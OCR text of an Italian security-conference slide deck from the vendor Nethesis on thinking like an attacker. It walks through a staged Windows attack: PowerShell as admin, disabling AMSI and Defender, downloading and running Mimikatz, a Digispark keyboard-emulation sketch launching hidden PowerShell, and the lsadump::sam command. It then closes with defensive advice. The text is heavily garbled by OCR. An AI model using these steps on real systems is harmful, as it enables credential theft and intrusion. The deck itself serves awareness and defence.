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Pensare come - e
un BlackHat

Relatore: Nicola Filippini
Nethesis Security Team



Nethesis e un Open
Company

Firewall Aziendale. Centralino VolP.
Collaboration Suite. Hotspot

AR IR ELEN Open Source Inside




Firewall Aziendale. Centralino VolP.
Collaboration Suite. Hotspot

Soddisfa tutte le tue esigenze di sicurezza, comunicazione, collaborazione. Grazie ad una Suite di soluzioni ICT
integrata e altamente modulare, pensata per la PML.

—~ nethvoice ~ nethservice < neth: - nethspot

Centralino VolP aperto Collaboration suite nel Firewall aziendale per
e versatile tuo cloud privato ER]

Wifi senza pensieri e
marketing-oriented

Comunica in maniera unificata Team pil produttivo con email, Proteggi i tuoi dati, metti I'azienda Migliora l'esperienza degli ospiti e
integrandoti ai sistemi informativi calendari, contatti e documenti al sicuro e accedi al cloud piQ aumenta la tua reputazione.
aziendali. condivisi velocemente.

UNIFIEDCOMMUNICATION COLLABORATION SUITE CYBER SECURITY HOTSPOT WIFI
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Sicurezza informatica
offensiva

-
* Utilizza metodologie per KE E P
identifi d sf
e s Y

* Gioca a tutto campo per
violare le difese aziendali

* Condivide la prospettiva RED TEAM

dell’avversario per

idgnFiﬁcare pupti deboli e I S H E RE

migliorare le difese
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La conclusione di un
lavoro ben fatto

All your files are locked!

Richiesta di riscatto
Cifratura dei dati
Rimozione degli snapshot

( Unlock ]

All your important fies have been encrypled

It you want your files back, you need lo pay €400 in Blcons

Allter the payment s recesved, we will gve you access o uniock your files
Cick on the Payment button lo get more info

Corruzione dei backup

ExFiltration Time left If you don't pary within 48 hours, the price wil be doubled
08 :57 : 43 Afteranother 24 hours, the pnce wil be doubled agan
If you don't pay wathn 96 hours your fies will be destroyed

Usor-ID. 67Z2FYG613CY Important Paymeonl




es|s

Le Fasi di un
attacco mirato

10.10.0.9

* Privilege escalation 010t s
* Lateral movement

* Acquire a compromised
system

10.0.0.216

10.0.0.188
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High Score

Le criticita

Evitare antivirus,
antimalware e admin

Superare IDS e IPS

Gestire moltitudine
di tipologie di sistemi

Trovare vettori di
attacco stabili

Identificare elementi
di valore

Incassare la ricompensa
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| punti di forza |
La digitalizzazione .’rm= Lightuan, David L.

Gli utenti CLdss ¢ COURSE TITLE GRAE  TEACHER  PERIOD

La mancanza §-202 BIUL?;}' fw Y | h}gfg g
- - E-31¢  EM6L

di protezione §-221  WORLD HISTORY 118 DWYER g

M-106  TRIG 2 DICKERSON ¢

1

§

La complessita PE-G2  PHYSICAL EDUCATION COMSTOCK
dei sistemi N-122  CALCULUS 1 LOGAN

10 CHANGE ANY [TEN, MOVE CURSOR T0 DESIRED POSITION
La mancanza 4D ENTER NEW VALUE

di manutenzione
Il GDPR

| pagamenti anonimi
in criptovalute
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Studiamo un attacco

* Contesto:
aziendale

* Sistema operativo:
Windows 10 o 11

* Aggiornamento:
indifferente

* User Account Control:
Disabilitato

* Antivirus:
Microsoft Defender
(valutare possibili varianti)
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Valutiamo le difese

* Firewall:
enterprise

* Directory service:
dominio centralizzato

* Infrastruttura: , ol A
Fisica o virtualizzata nc iy LA U H e

* Data protection: 3 s A e N
Raid, snapshot e backup > £ - PRI

* Access control list:
gestione profili e gruppi




Il nostro obiettivo

* Ipotizziamo un attacco
con una breve finestra
temporale (50 secondi)

* Usando un canale sicuro
per veicolare ['attacco

* Disabilitando difese locali
* Per ottenere credenziali

* E (bonus) ottenere una
reverse shell
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Tecnologie in campo Senza Reverse Shell

* Mimikatz Atta:ante L'attaccante inizia | Bersaglio

Strumento utilizzato per EE ‘a connessione 6
o »

ottenere diversi tipi di m :Ii
credenziali memorizzate Shell . —
su un sistema con S.O. Flrewol oy
Microsoft Windows (TM)

* Reverseshell Con Reverse Shell
Tecnica di “connessione o
inversa” tipicamente ® :' bersaglio inizia
utilizzata per superare R heallsaaiales <
strumenti di protezione = Q - - ;Ii
locali -




P rOVI a m o a la n c I a re Release 2.2.0 20210810-2 Windo X +
"u n Vi ru S" &) O A8 github.com

° D l. l ﬂ T:Tt?:;tm:ll:':r virus o mahware.
ownload bloccato 2.2.0 20210810-2
b EstraZione impedita . . Visualizza tutti i download
S _ junk-fix
* Esecuzione impedita )

Past downloads Clear all

B3

mimikatz_trunk.zip
objects.githubusercontent.com X

ﬁ This file contained a virus and was deleted.

Cannot Complete the Compressed (zipped) Folders Extraction Wizard
v Assets 4

Access to the compressed (zipped) folder is denied.

B Before you can extract files, you must
mimikatz_trunk./z | change the permissions for this compressed
(zipped) folder.

mimikatz_trunk.zip

To close this wizard, click Finish.




Ri-proviamo a

lanciare "un virus”
* Powershell come vettore
* Possibile blocco “FW/IPS”
* Problema “antivirus”
* Privilegi di amministratore

x &

E¥ Windows PowerShell

zip

temp.zip -DestinationPath temp

EN mimikatz 2.2.0 %64 (oe.ea)

ege_simple ; RtlAdjustPrivil

benjamin@gentilkiwi.com )
mimikatz

etoux@gmail.c




Proviamoci ancora
* Powershell come admin (!)
* Disabilitiamo AMSI (?)
* Disabilitiamo antivirus (?)

Scarichiamo ed eseguiamo

EN mimikatz 2.2.0 x64 (oe.ea)

FTRFTY
‘gangs

esConsent

erence -D
imeMonit
Dl;ahl:d -Enahl Net

NeverSend

t -Uri
_trunk

fplngca stle.com [

izableIntrus

em.Management +$|[TH t.E
tring( " Q«

:Fr

Automation.

sionP tio
ng %true -Di:
workProtection AuditMode -Force -MAPS RHpHPT

em Ftrue -Disahl

http: ‘github.com/gentilkiwi/mimikatz/re
.Zip -outfile temp p
-DestinationPath temp

tilkiwi.com )

'1ﬂCHﬂ+ letoux@gmail .com )
https ysmartlogon.com




Sempre piu difficile

* Usiamo un 2° vettore (HW)
che simula una tastiera

* Per lanciare un powershell
come admin

* Ed avviareil tutto..

&9 DigiScript_Key01 | Arduino 1.8.10 - O X

Eile Modifica Sketch Strumenti Ajuto

DigiScript_Key01 §
Ulglheypoard.

DigiKeyboard.
DigiKeyboard.

DigiKeyboard.
DigiKeyboard.

DigiFKeyboard.
DigiKeyboard.

DigiFKevyboard.
DigiReyboard.
DigiKeyboard.

DigiKeyboard.
<

sendKeyStroke (0) ;
delavy (3000);

sendFeyStroke (REY ¥, MOD GUI LEFT); //Menu

delay (500);
sendReyStroke (KREY A, SHIFT); //Powershell administrator
delay (500} ;
println("PowerShell.exe
delay (5000) ;
sendKeyStroke (KREY F, MOD ALT LEFT);
sendKeyStroke (KEY_N);//run

-WindowStyle hidden -executionpolicy ByPasS —cc




All together now
* Powershell come admin
* Disabilitiamo AMSI (?)
* Disabilitiamo antivirus (?)

* Scarichiamo ed eseguiamo

= Thread Token

iMini{commandline) # lsadump::sam
MSEDGEWIN1G

User Account Control

Do you want to allow this app to make
changes to your device?

E Windows PowerShell

Verified publisher: Microsoft Windows

Show more details

Yes




Cosa manca?
* Oscuramento
* Exfiltration
* Reverse shell
* Versione 2.0 ->

EN Administrator: Windows PowerShell

PS C:\Windowshsystem32> PowerShell.exe

hidden

@ golem@thor ~
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Ma siamo WhiteHat

* Aggiornamento dei sistemi

* Formazione degli utenti

Vulnerability assessment

Log manager centralizzato




VULNERABILITY
ASSESSMENT

Inventario vulnerabilita
Hardware e Software

Di seguito si rappresenta una sintesi dello scenario rilevato:

Il punteggio generale CVSS & rappresentato dal valore di
Common Vulnerability Scoring System pil alto.

https://it.wikipedia.org/wiki/Common_Vulnerability_Scoring_System

O &

|dentificazione delle Remediation Plan ed
criticita Executive summary



&Dashboard
Sommario Log Acquisiti

Log ricevuti oggi 769, media (0sec) , real time (O/sec)

i@ DEMO - Azienda Cliente

CLOUD LOG MANAGER

O @ 9

Inventario Hardware Endpoint Client per Gestione archivi
e Software Windows e Syslog USB
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Domande ?

i
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nethesis

Strada degli OImi, 8

61122 - Pesaro (PU)

+39 0721 1791157
marketing@nethesis.it
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